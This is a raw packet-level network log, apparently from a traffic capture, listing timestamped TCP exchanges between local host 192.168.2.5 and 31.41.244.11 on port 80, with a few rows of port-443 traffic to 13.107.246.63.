Nov 24, 2024 10:24:12.967842102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.967899084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.967987061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.968034029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.969293118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.969348907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.969423056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.969468117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.970679998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.970732927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.970736027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.970773935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.972112894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.972161055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.972203970 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.972248077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.973588943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.973643064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.973705053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.973751068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.974975109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.975064993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.975109100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.975152969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.976377964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.976424932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.976489067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.976536036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.977830887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.977880955 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.977930069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.977977991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.979407072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.979461908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.979504108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.979547977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.980680943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.980731010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.980801105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.980843067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.982100010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.982161045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.982227087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.982278109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.983576059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.983628035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.983673096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.983963013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.984970093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.985013008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.985084057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.985129118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.986370087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.986418962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.986449003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.986491919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.987828970 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.987880945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.987909079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.987952948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.989253044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.989303112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.989343882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.989387035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.990802050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.990858078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.990914106 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.990958929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.992786884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.992841005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.116775036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.116877079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.116955996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.117023945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.117306948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.117377043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.117435932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.117484093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.118379116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.118427992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.118506908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.118556023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.119647980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.119699955 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.119776964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.119822979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.120868921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.120919943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.120979071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.121025085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.121762037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.121814966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.121900082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.121944904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.122951031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.123007059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.123075962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.123120070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.124010086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.124057055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.124118090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.124161959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.125322104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.125368118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.125400066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.125443935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.126379013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.126391888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.126422882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.126447916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.127468109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.127520084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.127525091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.127569914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.128550053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.128597021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.128663063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.128709078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.129697084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.129740953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.129820108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.129864931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.130850077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.130902052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.130923986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.130978107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.131944895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.131989956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.132138014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.132183075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.133074045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.133126020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.133160114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.133204937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.134224892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.134272099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.134351015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.134394884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.135497093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.135509014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.135549068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.136544943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.136590958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.136622906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.136672974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.137595892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.137646914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.137706995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.137748003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.138776064 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.138829947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.138844967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.138892889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.139945984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.139992952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.140069962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.140115023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.141014099 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.141061068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.141161919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.141211033 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.142136097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.142183065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.142246962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.142292023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.143548965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.143564939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.143594980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.143620014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.144398928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.144445896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.144515038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.144560099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.145522118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.145569086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.145627022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.145674944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.146661997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.146709919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.146779060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.146826982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.147819042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.147831917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.147861958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.147880077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.149065971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.149115086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.149152994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.149199963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.150355101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.150402069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.150424957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.150468111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.151588917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.151601076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.151638031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.151660919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.152497053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.152540922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.152575016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.152622938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.153431892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.153477907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.153553963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.153599977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.154583931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.154632092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.154700041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.154745102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.155731916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.155778885 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.155821085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.155865908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.156872988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.156917095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.156981945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.157026052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.157994986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.158041954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.158190966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.158232927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.159133911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.159179926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.159216881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.159261942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.160273075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.160316944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.160392046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.160434008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.161457062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.161504984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.161516905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.161562920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.162548065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.162594080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.162648916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.162693977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.163700104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.163743973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.163778067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.163821936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.164784908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.164841890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.164921999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.164963007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.166129112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.166176081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.166217089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.166258097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.167051077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.167095900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.167121887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.167169094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.168204069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.168250084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.168292046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.168334961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.169313908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.169384956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.169420958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.169469118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.170984983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.171005011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.171030045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.171046972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.171680927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.171726942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.171772957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.171816111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.172755003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.172805071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.172889948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.172935963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.173831940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.173875093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.173942089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.173985958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.174988031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.175040007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.175071955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.175116062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.176059961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.176100969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.298754930 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.299336910 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.299349070 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.299828053 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.299833059 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.317964077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.318025112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.318078041 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.318556070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.318583965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.318612099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.318672895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.318718910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.319703102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.319756031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.319799900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.319847107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.320815086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.320866108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.320981026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.321027994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.321934938 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.322002888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.322033882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.322077036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.323046923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.323112011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.323153019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.323200941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.324187040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.324243069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.324279070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.324318886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.325315952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.325371981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.325407028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.325452089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.326423883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.326473951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.326474905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.326517105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.327651024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.327699900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.327713013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.327754021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.328735113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.328835011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.328843117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.328876019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.330012083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.330024958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.330054045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.330073118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.330982924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.331033945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.331125975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.331166983 CET	49813	80	192.168.2.5	31.41.244.11
